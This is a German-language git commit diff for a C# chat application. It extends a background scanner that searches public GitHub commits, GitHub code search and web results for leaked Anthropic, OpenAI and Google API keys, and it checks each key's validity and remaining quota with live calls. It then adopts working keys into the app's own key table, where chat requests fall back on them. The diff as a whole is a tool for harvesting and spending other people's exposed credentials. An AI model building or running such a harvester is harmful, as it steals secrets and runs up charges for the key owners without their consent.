feat: OpenAI Provider, Key-Checker Quota-Erkennung, persistierte Scanner-Logs

- OpenAI als vollwertiger Chat-Provider (Modell-Auswahl, Key-Routing, StreamChat)
- Hardcoded OpenAI-Modelle im Cache (gpt-5.x, gpt-4.1, o3, o4-mini etc.)
- /api/models/openai Endpoint, OpenAI-Optgroup im Agent-Dropdown
- Key-Routing: OpenAI-Key aus api_keys-Tabelle, Fallback via GetFirstActiveKeyByProvider
- OpenAI-Checker: 2-Schritt-Check (Models + chat/completions mit max_tokens=1)
- Google-Checker: 2-Schritt-Check (Models + generateContent mit maxOutputTokens=1)
- 429 insufficient_quota und billing_not_active korrekt als quota_exceeded erkannt
- Provider-Erkennung beim Adopt via KeyPatterns.DetectType() statt hardcoded anthropic
- HandleCheck/HandleCheckAll unterstützt jetzt Anthropic, OpenAI und Google
- Neue scanner_logs-Tabelle mit details-Spalte (JSON) für strukturierte Auswertung
- GitHubEventScannerService: AddLog persistiert in DB, detaillierte Key-Fund-Logs
- KeyScannerService: AddLog-Methode mit DB-Persistierung, detaillierte Logs
- Frontend: Ungeprüfte-prüfen-Button (sequenziell, stoppt bei valid)
- Frontend: Provider-Indicator im Key-Switch-Modal (Anthropic/OpenAI/Google)
- Frontend: Check-Button für alle Provider (nicht nur Anthropic)
This commit is contained in:
Meleki committed 2026-03-14 11:19:33 +01:00
1 parent c8859a89d0
commit 542a031172
15 files changed
+614 -90

No files matched your search

+98 -32
View File
@@ -39,6 +39,9 @@ public static class ApiKeysEndpoint
app.MapGet("/api/admin/api-keys/event-scanner/status", HandleEventScannerStatus);
app.MapGet("/api/admin/api-keys/event-scanner/log", HandleEventScannerLog);
// Scanner Logs (persistiert)
app.MapGet("/api/admin/scanner/logs", HandleGetScannerLogs);
// User-Endpoints (für alle authentifizierten User)
app.MapGet("/api/api-keys/available", HandleGetAvailable);
app.MapPut("/api/api-keys/select/{keyId}", HandleSelectKey);
@@ -179,32 +182,51 @@ public static class ApiKeysEndpoint
return;
}
if (existing.Provider != "anthropic")
switch (existing.Provider)
{
ctx.Response.StatusCode = 400;
await ctx.Response.WriteAsJsonAsync(new { error = "Check nur für Anthropic-Keys verfügbar" });
return;
case "anthropic":
{
var result = await AnthropicKeyChecker.CheckKeyAsync(httpFactory, existing.ApiKey);
var dbStatus = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
await db.UpdateApiKeyMeta(keyId, dbStatus, result.Plan, result.Usage7d, result.Usage5h);
await ctx.Response.WriteAsJsonAsync(new
{
status = dbStatus,
message = result.Message,
plan = result.Plan,
result.IsSubscription,
result.Usage7d,
result.Usage5h,
result.Overage,
status7d = result.Status7d,
status5h = result.Status5h,
statusOverage = result.StatusOverage
});
break;
}
case "openai":
{
var result = await OpenAiKeyChecker.CheckKeyAsync(httpFactory, existing.ApiKey);
var dbStatus = result.Status == "ok" ? "valid" : result.Status;
await db.UpdateApiKeyMeta(keyId, dbStatus, result.Message, null, null);
await ctx.Response.WriteAsJsonAsync(new { status = dbStatus, message = result.Message, plan = result.Message });
break;
}
case "google":
{
var result = await GoogleKeyChecker.CheckKeyAsync(httpFactory, existing.ApiKey);
var dbStatus = result.Status == "ok" ? "valid" : result.Status;
await db.UpdateApiKeyMeta(keyId, dbStatus, result.Message, null, null);
await ctx.Response.WriteAsJsonAsync(new { status = dbStatus, message = result.Message, plan = result.Message });
break;
}
default:
{
ctx.Response.StatusCode = 400;
await ctx.Response.WriteAsJsonAsync(new { error = $"Check für Provider '{existing.Provider}' nicht unterstützt" });
break;
}
}
var result = await AnthropicKeyChecker.CheckKeyAsync(httpFactory, existing.ApiKey);
var dbStatus = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
// Metadaten in DB speichern
await db.UpdateApiKeyMeta(keyId, dbStatus, result.Plan, result.Usage7d, result.Usage5h);
await ctx.Response.WriteAsJsonAsync(new
{
status = dbStatus,
message = result.Message,
plan = result.Plan,
result.IsSubscription,
result.Usage7d,
result.Usage5h,
result.Overage,
status7d = result.Status7d,
status5h = result.Status5h,
statusOverage = result.StatusOverage
});
}
private static async Task HandleCheckAll(HttpContext ctx, IHttpClientFactory httpFactory, DatabaseService db)
@@ -212,15 +234,37 @@ public static class ApiKeysEndpoint
if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; }
var allKeys = await db.GetApiKeys();
var anthropicKeys = allKeys.Where(k => k.Provider == "anthropic").ToList();
var results = new List<object>();
foreach (var key in anthropicKeys)
foreach (var key in allKeys)
{
var result = await AnthropicKeyChecker.CheckKeyAsync(httpFactory, key.ApiKey);
var dbStatus = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
await db.UpdateApiKeyMeta(key.KeyId, dbStatus, result.Plan, result.Usage7d, result.Usage5h);
results.Add(new { key.KeyId, key.Name, status = dbStatus, result.Plan, result.Usage5h, result.Usage7d });
switch (key.Provider)
{
case "anthropic":
{
var result = await AnthropicKeyChecker.CheckKeyAsync(httpFactory, key.ApiKey);
var dbStatus = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
await db.UpdateApiKeyMeta(key.KeyId, dbStatus, result.Plan, result.Usage7d, result.Usage5h);
results.Add(new { key.KeyId, key.Name, status = dbStatus, result.Plan, result.Usage5h, result.Usage7d });
break;
}
case "openai":
{
var result = await OpenAiKeyChecker.CheckKeyAsync(httpFactory, key.ApiKey);
var dbStatus = result.Status == "ok" ? "valid" : result.Status;
await db.UpdateApiKeyMeta(key.KeyId, dbStatus, result.Message, null, null);
results.Add(new { key.KeyId, key.Name, status = dbStatus, Plan = result.Message, Usage5h = (double?)null, Usage7d = (double?)null });
break;
}
case "google":
{
var result = await GoogleKeyChecker.CheckKeyAsync(httpFactory, key.ApiKey);
var dbStatus = result.Status == "ok" ? "valid" : result.Status;
await db.UpdateApiKeyMeta(key.KeyId, dbStatus, result.Message, null, null);
results.Add(new { key.KeyId, key.Name, status = dbStatus, Plan = result.Message, Usage5h = (double?)null, Usage7d = (double?)null });
break;
}
}
}
await ctx.Response.WriteAsJsonAsync(new { checked_ = results.Count, results });
@@ -377,10 +421,17 @@ public static class ApiKeysEndpoint
}
var now = DateTime.UtcNow.ToString("o");
// Provider anhand des Key-Typs bestimmen
var keyType = KeyPatterns.DetectType(sk.ApiKey);
string provider;
if (keyType.StartsWith("openai")) provider = "openai";
else if (keyType == "google_api") provider = "google";
else provider = "anthropic";
var record = new ApiKeyRecord
{
KeyId = Guid.NewGuid().ToString("N"),
Provider = "anthropic",
Provider = provider,
Name = title,
ApiKey = sk.ApiKey,
IsPublic = false,
@@ -507,4 +558,19 @@ public static class ApiKeysEndpoint
await ctx.Response.WriteAsJsonAsync(new { entries = log.Select(e => new { e.Time, e.Type, e.Message }) });
}
private static async Task HandleGetScannerLogs(HttpContext ctx, DatabaseService db)
{
if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; }
var limit = int.TryParse(ctx.Request.Query["limit"], out var l) ? Math.Min(l, 1000) : 200;
var offset = int.TryParse(ctx.Request.Query["offset"], out var o) ? o : 0;
var type = ctx.Request.Query["type"].FirstOrDefault();
var scanner = ctx.Request.Query["scanner"].FirstOrDefault();
var logs = await db.GetScannerLogs(limit, offset, type, scanner);
var total = await db.GetScannerLogCount(type, scanner);
await ctx.Response.WriteAsJsonAsync(new { logs, total });
}
}
+22 -2
View File
@@ -220,8 +220,28 @@ public static class ChatEndpoint
{
if (!string.IsNullOrEmpty(ctx.Provider))
{
// OpenAI-kompatibler Provider (z.B. Nvidia)
await openAi.StreamChat(res, ctx.ModelId, ctx.SystemPromptText, messages, ctx.ChainId, workspace: ctx.Workspace, sessionId: sessionId, agentId: ctx.AgentId, workCt: workCt, sseCt: sseCt);
// OpenAI-kompatibler Provider – für "openai" den User-Key aus DB verwenden
string openAiKeyOverride = null;
if (ctx.Provider == "openai")
{
// Zuerst prüfen ob der ausgewählte Key ein OpenAI-Key ist
if (userApiKey.Provider == "openai")
openAiKeyOverride = userApiKey.ApiKey;
else
{
// Fallback: ersten aktiven OpenAI-Key aus DB holen
openAiKeyOverride = await db.GetFirstActiveKeyByProvider("openai");
}
if (string.IsNullOrEmpty(openAiKeyOverride))
{
await SseHelper.TryWriteSse(res, "error", new { error = "Kein OpenAI API-Key vorhanden. Bitte einen OpenAI-Key in den API-Keys hinzufügen." }, sseCt);
await SseHelper.TryWriteSse(res, "done", new { chainId = ctx.ChainId }, sseCt);
return;
}
}
await openAi.StreamChat(res, ctx.ModelId, ctx.SystemPromptText, messages, ctx.ChainId, workspace: ctx.Workspace, sessionId: sessionId, agentId: ctx.AgentId, apiKeyOverride: openAiKeyOverride, workCt: workCt, sseCt: sseCt);
}
else
{
+9
View File
@@ -14,6 +14,7 @@ public static class ModelsEndpoint
app.MapGet("/api/models/nvidia", HandleNvidiaModels);
app.MapGet("/api/models/pollinations", HandlePollinationsModels);
app.MapGet("/api/models/gemini", HandleGeminiModels);
app.MapGet("/api/models/openai", HandleOpenAiModels);
app.MapPost("/api/models/refresh", HandleRefresh);
}
@@ -41,6 +42,14 @@ public static class ModelsEndpoint
return Results.Json(new { models });
}
private static IResult HandleOpenAiModels(OpenAiService openAiService)
{
var models = openAiService.GetOpenAiModels()
.Select(m => new { id = m.Id, displayName = m.DisplayName })
.ToList();
return Results.Json(new { models });
}
private static async Task<IResult> HandleRefresh(OpenAiService openAiService)
{
await openAiService.RefreshModelsFromApis();
+44
View File
@@ -519,4 +519,48 @@ public partial class DatabaseService
await conn.ExecuteAsync("UPDATE scanned_keys SET deleted = 1 WHERE scanned_key_id = @scannedKeyId", new { scannedKeyId });
}
// ── Scanner Logs ──
public async Task CreateScannerLog(string type, string message, string scanner = "event", string details = null)
{
using var conn = CreateConnection();
// Sicherstellen dass die details-Spalte existiert (Migration)
try
{
await conn.ExecuteAsync(@"ALTER TABLE scanner_logs ADD COLUMN details TEXT");
}
catch { /* Spalte existiert bereits */ }
await conn.ExecuteAsync(@"
INSERT INTO scanner_logs (timestamp, type, message, scanner, details)
VALUES (@timestamp, @type, @message, @scanner, @details)",
new { timestamp = DateTime.UtcNow.ToString("o"), type, message, scanner, details });
}
public async Task<IEnumerable<dynamic>> GetScannerLogs(int limit = 200, int offset = 0, string type = null, string scanner = null)
{
using var conn = CreateConnection();
var where = "WHERE 1=1";
if (!string.IsNullOrEmpty(type)) where += " AND type = @type";
if (!string.IsNullOrEmpty(scanner)) where += " AND scanner = @scanner";
return await conn.QueryAsync($@"
SELECT id, timestamp, type, message, scanner, details
FROM scanner_logs {where}
ORDER BY id DESC
LIMIT @limit OFFSET @offset",
new { limit, offset, type, scanner });
}
public async Task<int> GetScannerLogCount(string type = null, string scanner = null)
{
using var conn = CreateConnection();
var where = "WHERE 1=1";
if (!string.IsNullOrEmpty(type)) where += " AND type = @type";
if (!string.IsNullOrEmpty(scanner)) where += " AND scanner = @scanner";
return await conn.ExecuteScalarAsync<int>(
$"SELECT COUNT(*) FROM scanner_logs {where}",
new { type, scanner });
}
}
+15
View File
@@ -215,4 +215,19 @@ public partial class DatabaseService
new { userId });
}
/// <summary>
/// Gibt den ersten aktiven API-Key für einen bestimmten Provider zurück.
/// Wird verwendet um z.B. den OpenAI-Key für Modell-Abfragen zu holen.
/// </summary>
public async Task<string> GetFirstActiveKeyByProvider(string provider)
{
using var conn = CreateConnection();
return await conn.QuerySingleOrDefaultAsync<string>(@"
SELECT api_key FROM api_keys
WHERE provider = @provider AND (status IS NULL OR status = 'valid' OR status = 'ok')
ORDER BY created_at ASC
LIMIT 1",
new { provider });
}
}
+12
View File
@@ -326,6 +326,18 @@ public partial class DatabaseService
CREATE INDEX IF NOT EXISTS idx_scanned_keys_status ON scanned_keys(status);
");
conn.Execute(@"
CREATE TABLE IF NOT EXISTS scanner_logs (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp TEXT NOT NULL,
type TEXT NOT NULL,
message TEXT NOT NULL,
scanner TEXT NOT NULL DEFAULT 'event'
);
CREATE INDEX IF NOT EXISTS idx_scanner_logs_timestamp ON scanner_logs(timestamp);
CREATE INDEX IF NOT EXISTS idx_scanner_logs_type ON scanner_logs(type);
");
TryAddColumn(conn, "agents", "avatar_small", "TEXT");
TryAddColumn(conn, "agents", "is_public", "INTEGER NOT NULL DEFAULT 0");
TryAddColumn(conn, "sessions", "image_small", "TEXT");
+53 -13
View File
@@ -65,7 +65,7 @@ public class GitHubEventScannerService : BackgroundService
lock (_lock) return _logEntries.ToList();
}
private void AddLog(string type, string message)
private void AddLog(string type, string message, string details = null)
{
lock (_lock)
{
@@ -78,6 +78,13 @@ public class GitHubEventScannerService : BackgroundService
while (_logEntries.Count > MaxLogEntries)
_logEntries.Dequeue();
}
// Persistieren in DB (fire-and-forget)
_ = Task.Run(async () =>
{
try { await _db.CreateScannerLog(type, message, "event", details); }
catch { /* DB-Fehler ignorieren, Scanner nicht blockieren */ }
});
}
public GitHubEventScannerService(
@@ -199,10 +206,17 @@ public class GitHubEventScannerService : BackgroundService
var keys = await ScanCommitDiff(client, pe.Repo, pe.HeadSha, ct);
scannedCount++;
foreach (var (key, sourceUrl) in keys)
foreach (var (key, sourceUrl, fileName) in keys)
{
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
{
AddLog("skip", "Key bereits bekannt: " + key[..Math.Min(20, key.Length)] + "... in " + pe.Repo);
continue;
}
var keyType = DetectKeyType(key);
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
var typeName = KeyPatterns.DisplayName(keyType);
newKeysFound++;
await _db.CreateScannedKey(new ScannedKeyRecord
@@ -211,15 +225,29 @@ public class GitHubEventScannerService : BackgroundService
ApiKey = key,
Source = "github_events",
SourceUrl = sourceUrl,
Type = DetectKeyType(key),
Type = keyType,
Status = "unchecked",
Plan = "Unknown",
ScannedAt = DateTime.UtcNow.ToString("o")
});
_logger.LogInformation("🔑 Neuer Key gefunden via Events! Repo: {Repo}, Commit: {Sha}",
pe.Repo, pe.HeadSha[..8]);
AddLog("key", "🔑 Key gefunden in " + pe.Repo + " (" + pe.HeadSha[..8] + ")");
var logMsg = $"🔑 Neuer {typeName} Key! Repo: {pe.Repo} · Datei: {fileName} · Commit: {pe.HeadSha[..8]} · Prefix: {keyPrefix}";
_logger.LogInformation(logMsg);
// Detailliertes JSON für strukturierte Auswertung
var detailsJson = JsonSerializer.Serialize(new
{
key_type = keyType,
key_type_name = typeName,
key_prefix = keyPrefix,
key_length = key.Length,
repo = pe.Repo,
commit_sha = pe.HeadSha,
file = fileName,
source_url = sourceUrl,
push_size = pe.Size
});
AddLog("key_found", logMsg, detailsJson);
}
}
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
@@ -323,10 +351,10 @@ public class GitHubEventScannerService : BackgroundService
return allEvents;
}
/// <summary>Scannt den Diff eines einzelnen Commits nach Key-Patterns.</summary>
private async Task<List<(string Key, string Url)>> ScanCommitDiff(HttpClient client, string repo, string sha, CancellationToken ct)
/// <summary>Scannt den Diff eines einzelnen Commits nach Key-Patterns. Gibt Key, URL und Dateiname zurück.</summary>
private async Task<List<(string Key, string Url, string FileName)>> ScanCommitDiff(HttpClient client, string repo, string sha, CancellationToken ct)
{
var keys = new List<(string Key, string Url)>();
var keys = new List<(string Key, string Url, string FileName)>();
var detailUrl = $"https://api.github.com/repos/{repo}/commits/{sha}";
var request = new HttpRequestMessage(HttpMethod.Get, detailUrl);
@@ -352,6 +380,8 @@ public class GitHubEventScannerService : BackgroundService
var patch = patchProp.GetString();
if (string.IsNullOrEmpty(patch)) continue;
var fileName = file.TryGetProperty("filename", out var fn) ? fn.GetString() ?? "unknown" : "unknown";
// Nur hinzugefügte Zeilen scannen (beginnen mit "+")
foreach (var line in patch.Split('\n'))
{
@@ -360,7 +390,7 @@ public class GitHubEventScannerService : BackgroundService
foreach (var regex in CompiledPatterns)
{
foreach (Match m in regex.Matches(line))
keys.Add((m.Value, htmlUrl));
keys.Add((m.Value, htmlUrl, fileName));
}
}
}
@@ -381,6 +411,9 @@ public class GitHubEventScannerService : BackgroundService
ct.ThrowIfCancellationRequested();
var type = KeyPatterns.DetectType(sk.ApiKey);
var keyPrefix = sk.ApiKey[..Math.Min(20, sk.ApiKey.Length)] + "...";
var typeName = KeyPatterns.DisplayName(type);
try
{
if (KeyPatterns.IsAnthropic(type))
@@ -388,21 +421,28 @@ public class GitHubEventScannerService : BackgroundService
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h);
_logger.LogInformation("Key geprüft: {Status} ({Plan})", status, result.Plan);
var checkMsg = $"🔍 {typeName} geprüft: {status} · Plan: {result.Plan} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, plan = result.Plan, usage_7d = result.Usage7d, usage_5h = result.Usage5h, source_url = sk.SourceUrl }));
}
else if (type == "openai_project" || type == "openai_service" || type == "openai_legacy")
{
var result = await OpenAiKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = result.Status == "ok" ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
_logger.LogInformation("OpenAI Key geprüft: {Status}", status);
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
}
else if (type == "google_api")
{
var result = await GoogleKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = result.Status == "ok" ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
_logger.LogInformation("Google Key geprüft: {Status}", status);
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
}
else
{
AddLog("key_checked", $"⏭️ {typeName} übersprungen (kein Checker) · {keyPrefix}");
}
}
catch (Exception ex)
+93 -1
View File
@@ -13,8 +13,85 @@ namespace Gott.Services
public string[] Models { get; set; }
}
public class GoogleQuotaResult
{
public bool HasQuota { get; set; }
public string Error { get; set; }
}
public static class GoogleKeyChecker
{
private static async Task<GoogleQuotaResult> CheckQuotaAsync(HttpClient client, string apiKey, string[] models)
{
try
{
// Günstigstes Modell wählen (flash > pro > erstbestes)
var testModel = models.FirstOrDefault(m => m.Contains("flash", StringComparison.OrdinalIgnoreCase))
?? models.FirstOrDefault(m => m.Contains("pro", StringComparison.OrdinalIgnoreCase))
?? models.FirstOrDefault();
if (testModel == null)
return new GoogleQuotaResult { HasQuota = false, Error = "Keine Modelle verfügbar" };
var url = "https://generativelanguage.googleapis.com/v1/models/" + testModel
+ ":generateContent?key=" + apiKey;
var payload = new
{
contents = new[] { new { parts = new[] { new { text = "hi" } } } },
generationConfig = new { maxOutputTokens = 1 }
};
var json = JsonSerializer.Serialize(payload);
var content = new StringContent(json, System.Text.Encoding.UTF8, "application/json");
var resp = await client.PostAsync(url, content);
var statusCode = (int)resp.StatusCode;
if (statusCode == 200)
return new GoogleQuotaResult { HasQuota = true };
var body = await resp.Content.ReadAsStringAsync();
// 429: Quota oder Rate-Limit
if (statusCode == 429)
{
if (body.Contains("RESOURCE_EXHAUSTED", StringComparison.OrdinalIgnoreCase)
&& (body.Contains("quota", StringComparison.OrdinalIgnoreCase)
|| body.Contains("limit_value", StringComparison.OrdinalIgnoreCase)))
{
// Quota auf 0 oder erschöpft
if (body.Contains("\"0\"") || body.Contains("GenerateContent"))
return new GoogleQuotaResult { HasQuota = false, Error = "Quota erschöpft (0 RPM)" };
return new GoogleQuotaResult { HasQuota = false, Error = "Quota erschöpft" };
}
// Echtes Rate-Limit → Key hat Quota, ist nur temporär blockiert
return new GoogleQuotaResult { HasQuota = true };
}
// 403: API nicht aktiviert oder Billing-Problem
if (statusCode == 403)
{
if (body.Contains("PERMISSION_DENIED", StringComparison.OrdinalIgnoreCase))
return new GoogleQuotaResult { HasQuota = false, Error = "Keine Berechtigung für generateContent" };
if (body.Contains("billing", StringComparison.OrdinalIgnoreCase))
return new GoogleQuotaResult { HasQuota = false, Error = "Billing nicht aktiviert" };
return new GoogleQuotaResult { HasQuota = false, Error = "Zugriff verweigert (403)" };
}
// Andere Fehler → konservativ als "kein Quota" behandeln
return new GoogleQuotaResult { HasQuota = false, Error = "API-Fehler (" + statusCode + ")" };
}
catch (Exception)
{
// Bei Netzwerkfehler etc. → konservativ
return new GoogleQuotaResult { HasQuota = false, Error = "Quota-Check fehlgeschlagen" };
}
}
public static async Task<GoogleCheckResult> CheckKeyAsync(IHttpClientFactory httpFactory, string apiKey)
{
try
@@ -77,10 +154,25 @@ namespace Gott.Services
else
plan = "Free";
// Schritt 2: Echten generateContent-Call machen um Quota zu prüfen
var quota = await CheckQuotaAsync(client, apiKey, models);
var info = models.Length + " Gemini-Modelle · " + plan;
if (!quota.HasQuota)
{
info += " · " + quota.Error;
return new GoogleCheckResult
{
Status = "quota_exceeded",
Message = info,
Models = models
};
}
return new GoogleCheckResult
{
Status = "ok",
Message = models.Length + " Gemini-Modelle · " + plan,
Message = info,
Models = models
};
}
+51 -15
View File
@@ -36,6 +36,16 @@ public class KeyScannerService : BackgroundService
public string LastRun { get { lock (_lock) return _lastRun; } }
public string LastResult { get { lock (_lock) return _lastResult; } }
private void AddLog(string type, string message, string details = null)
{
_logger.LogInformation("[CodeSearch] [{Type}] {Message}", type, message);
_ = Task.Run(async () =>
{
try { await _db.CreateScannerLog(type, message, "codesearch", details); }
catch { /* DB-Fehler ignorieren */ }
});
}
// ── GitHub Search Config ──
// Zentrale Key-Patterns aus KeyPatterns.cs (für Code Search: nur spezifische Suchterme)
@@ -151,7 +161,7 @@ public class KeyScannerService : BackgroundService
var modeLabels = new Dictionary<string, string> { ["quick"] = "Quick", ["web"] = "Web", ["full"] = "Full" };
var modeLabel = modeLabels.ContainsKey(mode) ? modeLabels[mode] : "Full";
_logger.LogInformation("KeyScannerService: {Mode}-Scan gestartet", modeLabel);
AddLog("scan", modeLabel + "-Scan gestartet");
var newKeysFound = 0;
var checkedCount = 0;
var totalFound = 0;
@@ -168,14 +178,14 @@ public class KeyScannerService : BackgroundService
{
var ghKeys = mode == "quick" ? await ScanGitHubQuick(ct) : await ScanGitHub(ct);
allFoundKeys.AddRange(ghKeys.Select(k => (k.Key, k.Url, "github")));
_logger.LogInformation("GitHub-Scan ({Mode}): {Count} Key(s) gefunden", modeLabel, ghKeys.Count);
AddLog("scan", "GitHub-Scan (" + modeLabel + "): " + ghKeys.Count + " Key(s) gefunden");
}
if (mode != "quick" && !string.IsNullOrWhiteSpace(_serperApiKey))
{
var spKeys = await ScanSerper(ct);
allFoundKeys.AddRange(spKeys.Select(k => (k.Key, k.Url, "serper")));
_logger.LogInformation("Serper-Scan: {Count} Key(s) gefunden", spKeys.Count);
AddLog("scan", "Serper-Scan: " + spKeys.Count + " Key(s) gefunden");
}
totalFound = allFoundKeys.Count;
@@ -188,6 +198,10 @@ public class KeyScannerService : BackgroundService
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
continue;
var keyType = DetectKeyType(key);
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
var typeName = KeyPatterns.DisplayName(keyType);
newKeysFound++;
await _db.CreateScannedKey(new ScannedKeyRecord
{
@@ -195,13 +209,26 @@ public class KeyScannerService : BackgroundService
ApiKey = key,
Source = source,
SourceUrl = sourceUrl,
Type = DetectKeyType(key),
Type = keyType,
Status = "unchecked",
Plan = "Unknown",
ScannedAt = DateTime.UtcNow.ToString("o")
});
var logMsg = $"🔑 Neuer {typeName} Key! Quelle: {source} · URL: {sourceUrl} · Prefix: {keyPrefix}";
var detailsJson = JsonSerializer.Serialize(new
{
key_type = keyType,
key_type_name = typeName,
key_prefix = keyPrefix,
key_length = key.Length,
source,
source_url = sourceUrl,
scan_mode = modeLabel
});
AddLog("key_found", logMsg, detailsJson);
}
_logger.LogInformation("{Count} neue Key(s) gespeichert", newKeysFound);
AddLog("scan", newKeysFound + " neue Key(s) gespeichert");
// Phase 3: Alle unchecked Keys prüfen
var allScanned = (await _db.GetScannedKeys()).ToList();
@@ -220,12 +247,12 @@ public class KeyScannerService : BackgroundService
_lastResult = $"{modeLabel}: {totalFound} gefunden, {newKeysFound} neu, {checkedCount} geprüft";
}
_logger.LogInformation("KeyScannerService: Scan abgeschlossen – {Result}", _lastResult);
AddLog("scan", "Scan abgeschlossen – " + _lastResult);
}
catch (OperationCanceledException) { /* shutdown */ }
catch (Exception ex)
{
_logger.LogError(ex, "KeyScannerService: Fehler beim Scan");
AddLog("error", "Scan-Fehler: " + ex.Message);
lock (_lock)
{
_lastRun = DateTime.UtcNow.ToString("o");
@@ -281,12 +308,12 @@ public class KeyScannerService : BackgroundService
}
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
{
_logger.LogWarning("GitHub Rate-Limit (Quick), warte 60s ...");
AddLog("rate_limit", "GitHub Rate-Limit (Quick), warte 60s");
await Task.Delay(60_000, ct);
}
catch (Exception ex)
{
_logger.LogWarning("GitHub-Suche fehlgeschlagen (Quick): {Msg}", ex.Message);
AddLog("error", "GitHub-Suche fehlgeschlagen (Quick): " + ex.Message);
}
}
@@ -318,7 +345,7 @@ public class KeyScannerService : BackgroundService
}
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
{
_logger.LogWarning("GitHub Rate-Limit erreicht, warte 60s ...");
AddLog("rate_limit", "GitHub Rate-Limit erreicht, warte 60s");
await Task.Delay(60_000, ct);
try
{
@@ -328,12 +355,12 @@ public class KeyScannerService : BackgroundService
}
catch (Exception retryEx)
{
_logger.LogWarning("Retry fehlgeschlagen: {Msg}", retryEx.Message);
AddLog("error", "Retry fehlgeschlagen: " + retryEx.Message);
}
}
catch (Exception ex)
{
_logger.LogWarning("GitHub-Suche fehlgeschlagen: {Msg}", ex.Message);
AddLog("error", "GitHub-Suche fehlgeschlagen: " + ex.Message);
}
}
@@ -507,12 +534,12 @@ public class KeyScannerService : BackgroundService
}
}
_logger.LogInformation("Serper-Suche für '{Term}': {Count} Ergebnis(se)", searchTerm, allKeys.Count);
AddLog("scan", "Serper '" + searchTerm + "': " + allKeys.Count + " Ergebnis(se)");
await Task.Delay(1000, ct); // Rate-Limit schonen
}
catch (Exception ex)
{
_logger.LogWarning("Serper-Suche fehlgeschlagen für '{Term}': {Msg}", searchTerm, ex.Message);
AddLog("error", "Serper-Suche fehlgeschlagen für '" + searchTerm + "': " + ex.Message);
}
}
@@ -524,6 +551,8 @@ public class KeyScannerService : BackgroundService
public async Task CheckAndUpdateKey(ScannedKeyRecord sk)
{
var type = KeyPatterns.DetectType(sk.ApiKey);
var keyPrefix = sk.ApiKey[..Math.Min(20, sk.ApiKey.Length)] + "...";
var typeName = KeyPatterns.DisplayName(type);
try
{
@@ -532,28 +561,35 @@ public class KeyScannerService : BackgroundService
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h);
var checkMsg = $"🔍 {typeName} geprüft: {status} · Plan: {result.Plan} · Usage 7d: {result.Usage7d?.ToString("F2") ?? "n/a"} · Usage 5h: {result.Usage5h?.ToString("F2") ?? "n/a"} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, plan = result.Plan, usage_7d = result.Usage7d, usage_5h = result.Usage5h, source_url = sk.SourceUrl }));
}
else if (type == "openai_project" || type == "openai_service" || type == "openai_legacy")
{
var result = await OpenAiKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = result.Status == "ok" ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
}
else if (type == "google_api")
{
var result = await GoogleKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = result.Status == "ok" ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
}
else
{
// Andere Key-Typen: Typ korrekt setzen, kein Check möglich
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "unchecked", type, null, null);
AddLog("key_checked", $"⏭️ {typeName} übersprungen (kein Checker) · {keyPrefix}");
}
}
catch (Exception ex)
{
_logger.LogWarning("Key-Check fehlgeschlagen für {Id}: {Msg}", sk.ScannedKeyId, ex.Message);
AddLog("error", $"Key-Check fehlgeschlagen für {typeName} ({keyPrefix}): {ex.Message}");
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "error", "Unknown", null, null);
}
}
+108 -17
View File
@@ -40,14 +40,28 @@ namespace Gott.Services
